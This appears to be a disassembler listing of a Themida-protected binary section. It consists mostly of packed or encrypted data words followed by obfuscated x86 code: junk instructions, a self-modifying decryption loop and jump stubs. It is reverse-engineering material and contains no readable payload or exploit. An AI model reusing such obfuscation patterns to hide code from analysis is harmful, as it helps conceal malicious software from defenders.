		dd 0FCD1BACh, 0A5AA9BE9h, 7F909858h, 72h, 9F74F103h, 6335A3ACh
		dd 211FEEE1h, 7B653349h, 0F49DB94Eh, 26136709h,	40D28EDAh
		dd 0B9DE8A85h, 0CF95D189h, 0F20E629Eh, 0A71FE75Dh, 519080D5h
		dd 63914F5Eh, 6F60DD37h, 0EA6DD929h, 0C984973Ch, 79EBBDCBh
		dd 0EA1D0276h, 2CC98497h, 97AF5FF0h, 38B4C984h,	3F303270h
		dd 0FA373143h, 8497A555h, 9816A2C9h, 3157DB05h,	0A47976F7h
		dd 30FB6h, 8043C400h, 0F2007E8Fh, 0A506E877h, 812E5A25h
		dd 22568A13h, 19494680h, 5CAA9FFFh, 0D2A64235h,	0C7C87AACh
		dd 0BBAAF826h, 928596B4h, 0BCB47F16h, 0B3BCAEF4h, 0D7176DDDh
		dd 0F508073Ch, 10C0DD4Bh, 87D33D18h, 0D0719FCBh, 3F182B36h
		dd 0F9F67103h, 0D3743C24h, 0D5A78410h, 5846A7D5h, 1D151ACAh
		dd 8583083Ah, 0F7F86AC9h, 811ECE16h, 0B3C977F2h, 23FA6829h
		dd 27051E4Ah, 238A1472h, 0DF5798E3h, 0E97AACC4h, 444BFB09h
		dd 2B162E2Ch, 0C15309DCh, 0EE610906h, 37h, 168916B0h, 56369522h
		dd 6CB4A822h, 50C74838h, 15D5A7B1h, 8A1806E7h, 8AB65758h
		dd 688D41E6h, 48D8C985h, 0CB9DA1BFh, 44DE09DCh,	0C9779699h
		dd 0CD2EA1h, 43FE0000h,	257F8E81h, 91EB323Dh, 8C83BC57h
		dd 4C51CF71h, 89F9F670h, 8D0C3A5Dh, 0ED1BCF96h,	73C6385h
		dd 99CF9691h, 0B8EAA0AFh, 0D77C818Eh, 48C5CD09h, 1B3B50A6h
		dd 0F69484A7h, 0DA7D7BCCh, 0CF96212Ch, 0E11F8D3Bh, 0ECE363B1h
		dd 6CD77884h, 22D5A72Bh, 0B4DB16D0h, 0C9852686h, 2CF16F9Dh
		dd 25537C34h, 56E6C26Fh, 0DC049996h, 395DF2AEh,	2ECF98D9h
		dd 944CA692h, 0F773B59Bh, 5D6829F8h, 7BC0894Ch,	1BBCFh
		dd 959A4800h, 0F1FE65BFh, 0D3DC099Bh, 313E2B7Dh, 1619C95Bh
		dd 8F3EE740h, 0A4FE545Bh, 47E1B7B8h, 63C58B84h,	6EA8EEE1h
		dd 9ACD7D12h, 0C95AC97Fh, 888743DBh, 0E9E660C2h, 64EB27A3h
		dd 0CF968CB6h, 0F9653F4Dh, 0B44882F6h, 1C48386Ch, 968CCB7Bh
		dd 442C58CFh, 0B1201738h, 3745D5A7h, 68BF73D6h,	9A0EC985h
		dd 0CBAF9789h, 0B6E309DCh, 89000000h, 364C8143h, 67973C33h
		dd 0FCCF968Ch, 0F1CBD240h, 0A8AF7E71h, 0CF969073h, 64D4DB05h
		dd 89F72728h, 0F00CCF96h, 12CC56B8h, 6543801Dh,	65CE4131h
		dd 39D5A794h, 839C4ACDh, 1DABC985h, 4BCCBA15h, 0C985839Bh
		dd 0B2EE1CA8h, 0DA0AE160h, 0ADD3A7D5h, 70248Ch,	99330C0Fh
		dd 772351CFh, 642A251Dh, 535C8EE4h, 40E2964Ah, 0F4FB6B80h
		dd 2FE0AB46h, 9774894Ch, 0D3A3h, 0BDB2B000h, 99964DD7h
		dd 0FBF471B3h, 0D9D61395h, 3E313173h, 0F726CF58h, 8C167C73h
		dd 0AFF95F50h, 4BDDB3BCh, 76C09699h, 9AE5153Ah,	3162C97Fh
		dd 6C8743F3h, 0A40FEF1h, 0EBA1AE98h, 26296591h,	0CF968CF8h
		dd 0A0A7F10Fh, 8EE25EAFh, 3027EA54h, 0CF968D02h, 27C6C974h
		dd 70EE1A39h, 9A9557ADh, 2DDD72AEh, 4FCF968Dh, 0C808959Ah
		dd 93F5BDCBh, 124E1AE6h, 8B8C4180h, 0CF968C5Bh,	4A2E5CE8h
		dd 7626193Eh, 6E68D5ADh, 3E435A98h, 0EAC5ADE5h,	0CB754F5Eh
		dd 2A148EC4h, 0D01D825h, 0AD46FB3h, 0D02C65Ch, 0D0303365h
		dd 0C876EF36h, 558B121Dh, 0C7CA04B7h, 0F8F771B3h, 0D9D61092h
		dd 4649F8C4h, 5DE6BAA7h, 0F0A6A99Bh, 62BBB4B6h,	3F4h, 6868600h
		dd 738A8543h, 0ED303F29h, 425B5497h, 38C5CA7Ah,	926B64DCh
		dd 0C919E4Ah, 0EF3E3130h, 46A7A895h, 27C6C97Eh,	0E6895637h
		dd 4C681h, 0EE830000h, 24348704h, 5124248Bh, 0C181E189h
		dd 4, 4E981h, 0C870000h, 14895C24h, 2C616824h, 34890000h
		dd 0F2BD5524h, 550616E9h, 0C6685D5Ah, 89000057h, 4812424h
		dd 424h, 98685E00h, 89000009h, 4812414h, 57044F24h, 8468F61h
		dd 4F086E81h, 8B615704h, 89572434h, 4C781E7h, 83000000h
		dd 3C8704C7h, 34FF5C24h, 0C4815A24h, 4,	0FA898EE9h, 0AE2FDEFFh
		dd 0B8C21F4Ch, 616F3EBh, 0E0FFC503h, 1F31B28h, 7C39E051h
		dd 3C609D11h, 155E1BD7h, 0F2A7628h, 585C11A0h, 7AB9C1D8h
		dd 53F5F637h, 4EAD2957h, 3FD9AE70h, 5EF4C54Ch, 318DA439h
		dd 4EE61054h, 10EA18ADh, 60DA7151h, 38A6B03Ch, 3C909FF2h
		dd 23D5C609h, 71F88337h, 3E9FB0CEh, 6CF453B0h, 7E1C2D64h
		dd 5A1235D0h, 50505FF6h, 3A96401Bh, 5F85349Eh, 56BFADFEh
		dd 397DDAEh, 4BD9EE6Dh,	513A9AFAh, 1C3E4AADh, 24EBh, 8 dup(0)
		dd 0BDE90000h, 89000000h, 16F4FCB5h, 71858B06h,	8B06111Bh
		dd 11046185h, 46B58D06h, 8D0616F5h, 14443885h, 0C3D0FF06h
		dd 0E855h, 815D0000h, 16F54CEDh, 71BD8306h, 106111Bh, 2C850Fh
		dd 0B5FF0000h, 616F4FCh, 461858Bh, 36350611h, 0FF348127h
		dd 0F013CD0h, 0A85h, 1B800h, 47E90000h,	33000000h, 40E9C0h
		dd 1C6A0000h, 0F500B58Dh, 0FF560616h, 16F4FCB5h, 61858B06h
		dd 35061104h, 34812736h, 0C483D0FFh, 0B58D0Ch, 8B0616F5h
		dd 0E0831446h, 4F88304h, 7840Fh, 0C0330000h, 5E9h, 1B800h
		dd 0BD830000h, 6111B71h, 7850F01h, 5D000000h, 2E9C3h, 0CF5D0000h
		dd 0F525858Dh, 85890616h, 6113175h, 2EE9h, 1173AA00h, 3Fh
		dd 9 dup(0)
		dd 0E9000000h, 4EBh, 9AF0FF65h,	7ED4DB08h, 60363924h, 460C03C6h
		dd 256B64DCh, 0B8A85982h, 8747E1B7h, 0E760C288h, 0C600A2E8h
		dd 0F93183C9h, 7F96A856h, 0A6E6BFC9h, 7F8E8143h, 0DCA23D25h
		dd 416F9F69h, 7723040Ch, 0BA170169h, 8EFA460Ch,	96045989h
		dd 0EB2DEFCFh, 18B1B33Eh, 7FA5CD7Bh, 0C73BC2CDh, 0FBBFB0ADh
		dd 6DB0BFA9h, 0CEDFD017h, 0EE55AF9Bh, 0F5B41CE1h, 9DC5A672h
		dd 0EA0C846h, 3E3133F5h, 121DCE58h, 1A15CC26h, 4DF9292Eh
		dd 0F20ECF96h, 0EEE858BEh, 0B0B1E726h, 0A5A391BFh, 8142E088h
		dd 39257F8Eh, 166AD736h, 1718CB0Dh, 0F61DC95Bh,	0A4CC7A75h
		dd 6966E042h, 682B594h,	0AAFCCF96h, 69BF8799h, 6BF30FCDh
		dd 99000000h, 0F8262965h, 0FCF968Ch, 0F96BB9F1h, 8CF32334h
		dd 0C470CF96h, 6090B756h, 9CCF968Ch, 9FA7B94Ah,	0D80FCDEFh
		dd 98909F4Ah, 167h, 84433500h, 3D2A728Bh, 0F56AE6A2h, 9917F854h
		dd 96093804h, 98544257h, 0C6011344h, 7A425BC9h,	0E73DC0CFh
		dd 0AC916C63h, 72694BDCh, 64E3253Eh, 0E64645FBh, 77E53CE6h
		dd 4A458721h, 87438A04h, 382F7588h, 3C297B37h, 821B14D7h
		dd 0F322205Eh, 0A37BB83Ch, 5811C8A0h, 3131F770h, 1CCE583Eh
		dd 7E948A13h, 43CC1CEh,	3837366Ch, 0C85AA0E5h, 7976F219h
		dd 6A0EBCA4h, 92D3334h,	490FCDF9h, 69h,	535C8B19h, 8743ADDFh
		dd 8F097588h, 0D210E6CBh, 60979BEh, 0CF961DD8h,	0B59D16Fh
		dd 0CC4445DAh, 0B2AA8917h, 0BACEF904h, 0F4FB6FA9h, 17C74884h
		dd 2CCF95C1h, 2C769890h, 9AE23B34h, 979844AFh, 415CCA76h
		dd 4D53D444h, 0FCD2169h, 2F29h,	8743F700h, 3C2F7588h, 342D4733h
		dd 3A7EE23Bh, 9192C663h, 0B69C9357h, 8B844344h,	8D24D772h
		dd 0C42CF96h, 0EF21E5FBh, 1910FCDh, 3F000000h, 0DD8D8243h
		dd 0E0888747h, 7E71F3C9h, 55EEB2AFh, 0F75D5293h, 7E2A7E5Ah
		dd 0A7988ED9h, 0D82553D5h, 74D42FCh, 51ACA39Dh,	858146F6h
		dd 2A3D73C9h, 177D72ECh, 415C538Dh, 8AC6C97Bh, 0AFC3CC78h
		dd 50D335FEh, 0F55B5496h, 0DCE4536Bh, 1521F09h,	0B4AD0000h
		dd 0C748386Ch, 0D5A7ACACh, 0A2FA03B1h, 0D5F3AFA0h, 63E39384h
		dd 34D16E6Ch, 0B3212E1Eh, 0DD0F99FFh, 26CF7F10h, 2021C985h
		dd 6694202Fh, 0DA099B87h, 0C5075DD5h, 7FE933CAh, 9557AD70h
		dd 505F889Ah, 6FF8A84Dh, 0E760A84Dh, 78282721h,	79313E2Ah
		dd 89715517h, 0AC2A09DCh, 53446127h, 0AF204888h, 4Ah, 3F6BB47Dh
		dd 0D2001743h, 51CF968Ch, 1C334F23h, 4F968CCEh,	43866795h
		dd 4F968D93h, 0A495AEF2h, 0C1530F5Bh, 9747C805h, 0AC4F968Dh
		dd 251BE210h, 0D01E314Dh, 97CF968Dh, 0AD1F3319h, 23000000h
		dd 8CB260F7h, 3B1CF96h,	0F651D6Fh, 0FD58D0DFh, 81BAD713h
		dd 0A1FE1B1h, 0E0ABAC9Ch, 0E5D5A6D5h, 4E48B657h, 0A527BD44h
		dd 90D2A6E3h, 0B1F35956h, 0BAC8B8B7h, 1ECC438Eh, 25C98578h
		dd 5C841997h, 0FC205D4h, 42C98579h, 0EBF5152Eh,	0A0CABC21h
		dd 0CD171B5Ch, 1B361C13h, 6DD92BBDh, 2EA59B62h,	0C9851000h
		dd 1013C354h, 0E410C985h, 0BFB0ADE7h, 0D644F26Eh, 534F59Ah
		dd 8735CF9Ch, 232C1E66h, 7D866977h, 381203A5h, 0E484B970h
		dd 0E0765263h, 8F49BF6Fh, 5E2844CFh, 261AE3ECh,	9657F8A8h
		dd 4BD5A63Fh, 99EB573Dh, 0BDCFA3ACh, 48386CB4h,	8CCB7B1Ch
		dd 0C858CF96h, 8DE5131Ch, 831FDE71h, 0B4C0D5ADh, 0DED11369h
		dd 0F1213662h, 3C97F97h, 0B0CCCBC4h, 0D20C96F8h, 0B509C0DDh
		dd 0FF028720h, 0AEA1A64Dh, 5397ED30h, 0A0E8415Ch, 163015A7h
		dd 2555F6BBh, 6BFCB0B7h, 0EF58B3ADh, 0B5231DE0h, 949B45DFh
		dd 39363309h, 1E297FE4h, 51A36ED8h, 0DC049996h,	84D587B7h
		dd 0F2609C90h, 5FF02C9Ch, 9084D5AFh, 1C4B5FB5h,	0CBC82F63h
		dd 6F939FBDh, 38110328h, 3F303270h, 378EEh, 86020000h
		dd 8A854306h, 303F2973h, 5B5497EDh, 0C5CA7A42h,	6B64DC38h
		dd 919E4A92h, 3E31300Ch, 0A7A895EFh, 0C6C97E46h, 89533727h
		dd 4C381E3h, 81000000h,	4EBh, 241C8700h, 2414895Ch, 81E18951h
		dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 89512404h, 4C181E1h
		dd 81000000h, 4E9h, 240C8700h, 242C895Ch, 16F62668h, 24048B06h
		dd 6804C483h, 4233h, 81242489h,	42404h,	685D0000h, 69F9h
		dd 8F240489h, 2C8B0845h, 0E3895324h, 4C381h, 0C3810000h
		dd 4, 5C241C87h, 582434FFh, 0E904C483h,	0FFFA82F7h, 246ABDD9h
		dd 7B447DAAh, 0B8FFDFD9h, 616FA7Ch, 0E0FFC503h,	17219416h
		dd 4C1F2893h, 231BABB9h, 4C1BF632h, 107FA12Eh, 1C0B898Ah
		dd 471A6CFBh, 118ECF85h, 1352F65Eh, 2ADA1A89h, 55643105h
		dd 3B8CAB83h, 0A9E9h, 0ED6B3B00h, 944Bh, 500h, 100h, 0A2800h
		dd 200h, 24h dup(0)
		dd 0A2E90000h, 6800000Ah, 616FDC2h, 0FA81F6E9h,	0FEBA68FFh
		dd 0ECE90616h, 68FFFA81h, 616FF9Dh, 0FA81E2E9h,	0B68FFh
		dd 0D8E90617h, 68FFFA81h, 617013Ch, 0FA81CEE9h,	19C68FFh
		dd 0C4E90617h, 68FFFA81h, 617047Ch, 0FA81BAE9h,	54868FFh
		dd 0B0E90617h, 0EFFFA81h, 2781D7D8h, 3F692F20h,	0D94B010Eh
		dd 0F7316768h, 8D167C73h, 8689B968h, 999656D0h,	0F9F671B3h
		dd 0D8D71193h, 47C82072h, 0C97F9097h, 65B5F7ACh, 5DD5DA0Fh
		dd 33CAC507h, 9DB27FE9h, 0CF968C6Dh, 0B5BAAAFAh, 47C38907h
		dd 4649F90Bh, 0E412B9A7h, 63CF968Ch, 8F3D3231h,	36624EEBh
		dd 0B312D57Ah, 59D7D5A7h, 5CB05E44h, 0A4390F2Dh, 25D97E32h
		dd 70C984F9h, 404FF80Ah, 736DF628h, 9DC7F4Bh, 6107h, 6CB4D500h
		dd 50C74838h, 46D5A7B1h, 566CD558h, 6442A4A9h, 0F2B9A7ADh
		dd 41D6B921h, 0DC612F95h, 5FEDCAAEh, 72A0B7E3h,	0F1C9850Ah
		dd 0DB7E2F43h, 0C9850B27h, 21039C49h, 0E08C9AF6h, 0B08C118Fh
		dd 27D778B5h, 3CC9850Ch, 568B1280h, 3E133132h, 7F4759EAh
		dd 3309DC6Eh, 0E1h, 8986BDD7h, 81436BE1h, 8140D28Eh, 0FC80808Eh
		dd 0A07AEB7Bh, 1FCB11C8h, 11D22010h, 88B58F1Eh,	48610987h
		dd 20FDF26Ch, 35656AD4h, 9A636CDFh, 87ACD2A6h, 0CF95B4CEh
		dd 5D8F64E6h, 0F0714B52h, 84322EFFh, 64E64016h,	4CC33F6Bh
		dd 0CF95B49Eh, 4A6317A5h, 5C8B3B85h, 0AB8B7B7h,	63DF4DF3h
		dd 0A6D187ECh, 1A708CD5h, 95C5917Fh, 98797982h,	1642FECFh
		dd 0BAAF44FCh, 0D75107B5h, 581D8C13h, 6234D58Eh, 0CD7BE9E6h
		dd 4C4A2C3Ch, 0D703D889h, 849h,	64C4381h, 0E2A8A79Ch, 0C48A8540h
		dd 0A2E8E762h, 89CFC000h, 1CC4F51Eh, 7BEB3D13h,	5B841E74h
		dd 0BAA4FE54h, 2555DFB5h, 7F900432h, 121203C9h,	0F8262965h
		dd 0FCF968Ch, 0FF6BB9F1h, 0C35480F0h, 0CF968D13h, 6A8CE410h
		dd 4B010E38h, 386CB4F1h, 40B3A48h, 40B47F9h, 0CF968CD6h
		dd 2F5BDF6Dh, 0A7B13328h, 798430D5h, 85692CDEh,	1C2779C9h
		dd 0DCCB3A02h, 7E517F09h, 555A8997h, 0E71424B7h, 0B47C93h
		dd 430C0000h, 257F8E81h, 6CEB323Dh, 0CF969135h,	0BC929D4Fh
		dd 3B34364Ch, 0E83A7EE2h, 0D501717Eh, 96889442h, 6867E6CFh
		dd 30C396Bh, 0A0C846FAh, 287C4489h, 0BFD00C78h,	0CF96888Fh
		dd 2F101894h, 0D5A7A648h, 45433F4Dh, 0D711F7F6h, 7D1BC5D8h
		dd 85ED07AEh, 0BEEA3663h, 92B14DC2h, 3AB6CF98h,	30C344Eh
		dd 606FDB4Dh, 4C999991h, 8EBC8189h, 751h, 0E444BF9h, 0EAA0AF94h
		dd 0CC828DB8h, 0AAE0EF5Ah, 91C7C878h, 43CED16h,	63E3450Bh
		dd 43FC266Ch, 0A29C064Ch, 5DADE7ADh, 7F8F0C3Ah,	1A0A1BC9h
		dd 0D8888743h, 34EC673Eh, 0B6FADB01h, 1B14D650h, 8143DB35h
		dd 0F1037F8Eh, 0E93B7F70h, 0AE1A707Fh, 3B438020h, 254D668Eh
		dd 84F4A008h, 0B0434E48h, 19C934Ch, 401F31DFh, 0A283A4CCh
		dd 87D5ACA7h, 79EB3969h, 49CE3A76h, 0C9807199h,	0F81E12AEh
		dd 80723353h, 551B2C9h,	0FEB1064Fh, 50A4612h, 0CF9178A2h
		dd 8689BED4h, 0FAB7C5F2h, 0F3F508Ch, 14CF8F70h,	3CAF9098h
		dd 0C3635867h, 4EC1B1E5h, 41D7B26Dh, 2A27C672h,	0A9AE9ACEh
		dd 3FCC1BF4h, 35E56AA6h, 323BCBFCh, 0B7C5F286h,	0B0BFA9FBh
		dd 759E48DAh, 0B849C7C8h, 1A840E84h, 6EFF6BB0h,	0DE000006h
		dd 0F7316768h, 8F197F70h, 0A9FB515Eh, 47E1B7B8h, 5DC68C83h
		dd 0D6D909B8h, 29262680h, 906C163h, 6867E143h, 0F7989022h
		dd 0C97F8D47h, 0B44547DCh, 0C748386Ch, 0D5AD8866h, 79DCD7Bh
		dd 7593CFC0h, 0BFA8AB1Fh, 18692B0h, 198BED85h, 0DAD8252Ah
		dd 0DA39E96Eh, 88BBC97Fh, 0DDFA6687h, 0AF99CBAFh, 2DED51A0h
		dd 0DD8F58h, 600DAh, 959A4800h,	0F1FE65BFh, 0D3DC099Bh
		dd 313E2B7Dh, 1619C95Bh, 8F3EE740h, 0A4FE545Bh,	47E1B7B8h
		dd 63C58B84h, 6EA8EEE1h, 8CCD7D12h, 0C95AC97Fh,	386CB4DBh
		dd 8866C748h, 0CD7BD5ADh, 0CAC5079Dh, 580CD584h, 91C367E8h
		dd 2C58C97Fh, 91C576D1h, 0AA10C97Fh, 7696752Ch,	0E0880DD3h
		dd 93ABB54Eh, 0DF09DB14h, 50h, 3F6BB46Dh, 8D22CC43h, 5C7ACF96h
		dd 0A465AE06h, 6453278Ch, 0E01235C8h, 2DCF965Eh, 479F37D1h
		dd 929B998Ch, 0BE4F4080h, 0AFB8EE82h, 0CD278DB1h, 1AC50Fh
		dd 656B0000h, 5CD4DB0Fh, 192E8h, 0A712BC00h, 88874048h
		dd 0A8CDCB75h, 0FD0F6399h, 2E8A4990h, 78800E7Ah, 56FF63BCh
		dd 97B8C4ACh, 0D5A71B34h, 0C4CB7F29h, 5C881A56h, 0AFA2DF53h
		dd 792FBDD5h, 74247058h, 0BBE71738h, 507C25DAh,	256576F6h
		dd 4028A68Ch, 0DFB01304h, 7B52BEBh, 0DB8F69E6h,	4EB5E86Fh
		dd 0B5E12600h, 0D7C674A2h, 2D45F325h, 0E83A7682h, 0AF1B717Eh
		dd 14B5A21h, 6E3993C2h,	0F2AFAD69h, 0D31119EBh,	45831E11h
		dd 5120F0C2h, 4CF5E8Ch,	0C97F0000h, 0D11690C6h,	3F2E78DEh
		dd 19C85A30h, 62E64016h, 57FC276Dh, 0E7ADA2A6h,	0C88E81BDh
		dd 0ACE2ED5Eh, 91C7C87Ah, 0B664EB07h, 4DC97F8Bh, 2965D4D8h
		dd 968CF826h, 0B9F10FCFh, 0E166F96Bh, 0FF0A0AB6h, 153AC371h
		dd 0ACA39FCBh, 0D5A6A793h, 0FC266C98h, 62BC4D42h, 8A8F5F7Bh
		dd 46F85B1h, 69DF0000h,	71F63066h, 5F8E187Eh, 0B9A8FA50h
		dd 8246E0B6h, 0B75CC78Dh, 87CDC206h, 682E211Dh,	4C020D3Eh
		dd 316768DAh, 56848BE7h, 0EDC97F8Bh, 814374B8h,	3B257F8Eh
		dd 0C800E934h, 404FF93Fh, 0EB7C400Ah, 20320FCDh, 0DA000000h
		dd 48386CB4h, 0A7B78CC7h, 0DA2351D5h, 8562CB7Fh, 7D861AC9h
		dd 0DCC55B63h, 411709h,	0B4A50000h, 0C748386Ch,	0D5A7DB51h
		dd 72AE9A16h, 29F40254h, 1A1E33DDh, 3E141BC8h, 518196C2h
		dd 0D6C98578h, 0BE71D65Ah, 36C98578h, 0F5553B34h, 8647AC9Fh
		dd 5ECC7489h, 545B88DAh, 3C79D49h, 65AF0000h, 0CCD1DE0Fh
		dd 0D7311C14h, 8D20CE41h, 8927CF96h, 0A3A12F1Bh, 8F7ED878h
		dd 46C9357Dh, 0D5A6F419h, 0F3F502Eh, 14C984A6h,	49936A98h
		dd 5A0D909Fh, 0A40C3DC6h, 0A5ED1D32h, 0DC0FC984h, 0AB834D3h
		dd 0B0E4E25Eh, 0F7B64B2Bh, 7D2A0D65h, 0D9CF965Bh, 331C683Fh
		dd 0C9A1FF7Ah, 0AAFC52EEh, 0F956B7B8h, 781F4B1Fh, 0D5A6A26Fh
		dd 0B8A578F4h, 0AF995FE8h, 614FEAA0h, 89D24535h, 4ECF95A0h
		dd 5791EB32h, 1F8D82BCh, 34CF518Eh, 0B3EFBB05h,	0A699D39Ch
		dd 88B9CBD5h, 0B6FA6687h, 3A5EB19h, 0C33FCEC1h,	95528097h
		dd 0BCA4C984h, 101894B3h, 291916D2h, 866768DBh,	5007D65Ah
		dd 538D4BDCh, 0C8AF65Ch, 3E6AD291h, 0A5AA99DCh,	66A9858h
		dd 0A999CD2Bh, 96071DA6h, 0C35422CFh, 0CF960313h, 9776E410h
		dd 19C934Dh, 0FC010E3Bh, 54A9A6A0h, 5AD7D808h, 49FB3DC6h
		dd 0BB9A746h, 9752A09Eh, 0C55E9098h, 8782CF4h, 2C444BFAh
		dd 272864D0h, 0CF9602F7h, 97B8F00Ch, 0D5A7090Ch, 3B6D2351h
		dd 0BBE70609h, 1F30FD69h, 0C98500EFh, 0B34AF874h, 8DBFE58Dh
		dd 0EF41CC12h, 3CAA6901h, 11E9424Ch, 1A34B1B2h,	6741F016h
		dd 0FD04733h, 0D4CF964Dh, 50824558h, 9DCF9649h,	1C13D321h
		dd 0C4F7CF81h, 9D55EE64h, 232C156Fh, 100E194Fh,	0FCDEC2Ch
		dd 2D62h, 6CB40A00h, 50C74838h,	15D5A7B1h, 0E859ABE7h
		dd 69043225h, 0F503C985h, 0DF7A3347h, 0C985692Bh, 31D267Ah
		dd 9DCCB3Bh, 0DC77h, 81430500h,	16F7F86Ah, 0B6CCBC2Ah
		dd 616FBEB1h, 8D71B6EAh
		dd 2840FE67h, 303F2B71h, 13C24640h, 6704B6A9h, 95A742F0h
		dd 5B3C1CFh, 0A814C255h, 0E513CF95h, 4680DC8Dh,	0FE68B449h
		dd 3B0781F1h, 735AB00Fh, 0D0779991h, 0CF95AD99h, 6036392Bh
		dd 0F20B04C6h, 6B27735Dh, 0ACEA183Fh, 979CF95h,	95ACD806h
		dd 0A3D16FCFh, 0B39CB3CFh, 0B8D5A6B6h, 73B25C0Ch, 9A29387Bh
		dd 19385ED2h, 98BFEBBFh, 0CF9904F6h, 1163DF6Dh,	2E78DED1h
		dd 80E4353Ah, 74894C16h, 18FA397h, 93F0000h, 11D65006h
		dd 7FEE381Eh, 59881A70h, 0A2A60056h, 97BCE7ADh,	0A7EDE266h
		dd 88CEC17Dh, 6C222D1Eh, 5107083Ah, 76A4ABC7h, 8DC97F88h
		dd 87439498h, 0E660C288h, 0EB27A3E9h, 968CB664h, 7B3F4DCFh
		dd 386CB401h, 0B150C748h, 315D5A7h, 0EA32CBC4h,	55C3717Eh
		dd 685D9148h, 52A8C985h, 0F50807C0h, 76F1274Bh,	5355A96h
		dd 2C98569h, 84B882F6h,	0CA09DCCBh, 97h, 8E814392h, 323D257Fh
		dd 0E05DB7EBh, 0EDA48BEFh, 87CF9690h, 0A2044A45h, 205EAFA0h
		dd 831A15D2h, 9078D55Dh, 988394C4h, 9DD5A792h, 4BD9296Fh
		dd 0B09D959Ah, 0CB4C3C68h, 0CF992E48h, 61B3EF1Dh, 7EA8EEE1h
		dd 0CE34C5CAh, 5E894C3Fh, 0C3598Dh, 0DD0B0000h,	3D2A7CD2h
		dd 1BCA5C32h, 7DE43E14h, 5E8A1C72h, 83A8FB51h, 0B3999652h
		dd 94FAF571h, 78DED112h, 5D333C2Eh, 82B0A7DBh, 81C97F87h
		dd 0F659094h, 45ED2DDh,	2B7DD3DCh, 186AA639h, 0A220E901h
		dd 43EC5E34h, 54161E81h, 895A9295h, 0B3A12F1Bh,	0ED46C803h
		dd 6F60E3B5h, 0D80A520Bh, 8A383733h, 1F4B95C4h,	0F9492C23h
		dd 324ED5ACh, 585791EBh, 0B9B6B0F2h, 86C0E564h,	0EBA1177Ah
		dd 0A3AC9E58h, 8689BBEDh, 2B241D67h, 333C257Fh,	153A76EAh
		dd 83AA73E5h, 8BA2D662h, 60BDB2B1h, 4D272814h, 0D3009D92h
		dd 6998BA4Dh, 6D62E73Dh, 96C8A090h, 96994B8Dh, 0EBE466C0h
		dd 32412h, 86760000h, 8A854306h, 303F2973h, 5B5497EDh
		dd 0C5CA7A42h, 6B64DC38h, 919E4A92h, 3E31300Ch,	0A7A895EFh
		dd 0C6C97E46h, 0EC833727h, 24348904h, 0C681E689h, 4, 8704EE83h
		dd 685C2434h, 509h, 52241489h, 0C281E289h, 4, 8704EA83h
		dd 895C2414h, 0EC83241Ch, 242C8904h, 16FC4DBDh,	5DEA8906h
		dd 8904EC83h, 4832424h,	505B0424h, 4389D089h, 24048B08h
		dd 4C481h, 34FF0000h, 0C4815B24h, 4, 5A2434FFh,	0E904C483h
		dd 0FFFA775Fh, 630B8DFh, 0C5030617h, 0DCC9E0FFh, 0CF3B7918h
		dd 4E443458h, 8D8D101Eh, 617075Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0D0C35141h,	890808ABh, 11285D8Dh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 85C7BED1h, 6112DD1h, 7114h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0A7C35040h, 85C7A0CEh
		dd 6112709h, 0
; ---------------------------------------------------------------------------
		jns	loc_5AA2FC
		mov	al, cl


loc_5AA2FC:				; CODE XREF: Themida_:005AA2F4j
		push	dword ptr [ebp+61133D5h]
		mov	edx, [ebp+6111525h]
		call	dword ptr [ebp+6111DA9h]
		mov	eax, [ebp+6113119h]
		jge	$+6
		push	0
		call	dword ptr [ebp+61105C5h]
		mov	eax, eax
		jmp	short loc_5AA365
; ---------------------------------------------------------------------------
		dw 0DC9Ah
		dd 0A8084BB3h, 1924AFDDh, 0A86539EFh, 3C4B1770h, 3F954C8Ch
		dd 96DDD959h, 0F41E8FEBh, 62B2C6Eh, 254E891h, 633D326Eh
		dd 0F97FC63Bh, 0E0A6E69Fh, 5277BE5Eh, 75664AE0h, 0E36325A5h
; ---------------------------------------------------------------------------
		aaa


loc_5AA365:				; CODE XREF: Themida_:005AA324j
		call	near ptr sub_5AA371
; ---------------------------------------------------------------------------
		dw 8C3Eh
		dd 831950B6h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_5AA371	proc far		; CODE XREF: Themida_:loc_5AA365p
		xor	[ebp+6111E11h],	edi
		pop	edi
		sub	[ebp+61128CDh],	ecx
		add	edi, 7010h
		movsx	esi, di
		mov	ebx, 488DB8CDh
		sub	ebx, 488D9CF6h
		jmp	loc_5AA3A7
; ---------------------------------------------------------------------------
		db 2
		dd 5B0D8C2Bh, 3D79FC14h, 6C07EC38h
		db 7Ah,	0A7h, 5Ch
; ---------------------------------------------------------------------------


loc_5AA3A7:				; CODE XREF: sub_5AA371+21j
					; sub_5AA371+9Cj
		push	dword ptr [edi]
		mov	esi, 5F13559Eh
		pop	ecx
		mov	eax, [ebp+61101E1h]
		sub	ecx, 3315814h
		jz	loc_5AA3C7
		mov	[ebp+6110DCDh],	edx


loc_5AA3C7:				; CODE XREF: sub_5AA371+4Aj
		add	ecx, 786357A2h
		clc
		sub	ecx, 3C6A6FB0h
		sub	[ebp+6112811h],	edi
		mov	[edi], ecx
		and	edx, [ebp+6113219h]
		sub	edi, 4
		stc
		sub	ebx, 1
		jnz	loc_5AA407
		mov	esi, [ebp+6110BCDh]
		jmp	loc_5AA422
; ---------------------------------------------------------------------------
		db 0DCh, 54h, 26h
		dd 54581040h
		db 0B2h, 69h, 1Ch
; ---------------------------------------------------------------------------


loc_5AA407:				; CODE XREF: sub_5AA371+7Bj
		mov	[ebp+61114DDh],	ebx
		jmp	loc_5AA3A7
; ---------------------------------------------------------------------------
		leave
		nop
		sbb	bl, [eax+5Eh]
		xor	dx, 809Ch
		shr	dword ptr [ebx+52h], 1
		dec	esp
		jecxz	short loc_5AA490


loc_5AA422:				; CODE XREF: sub_5AA371+87j
		jmp	loc_5AA446
; ---------------------------------------------------------------------------
		db 35h
		dd offset loc_5693B1+5
		dd 24200h, 5 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5AA446:				; CODE XREF: sub_5AA371:loc_5AA422j
		jmp	loc_5AAFB9
; ---------------------------------------------------------------------------
		push	61709EFh
		jmp	loc_55E37C
; ---------------------------------------------------------------------------
		push	6170AFBh
		jmp	loc_55E37C
; ---------------------------------------------------------------------------
		push	6170C8Ch
		jmp	loc_55E37C
; ---------------------------------------------------------------------------
		push	6170D51h
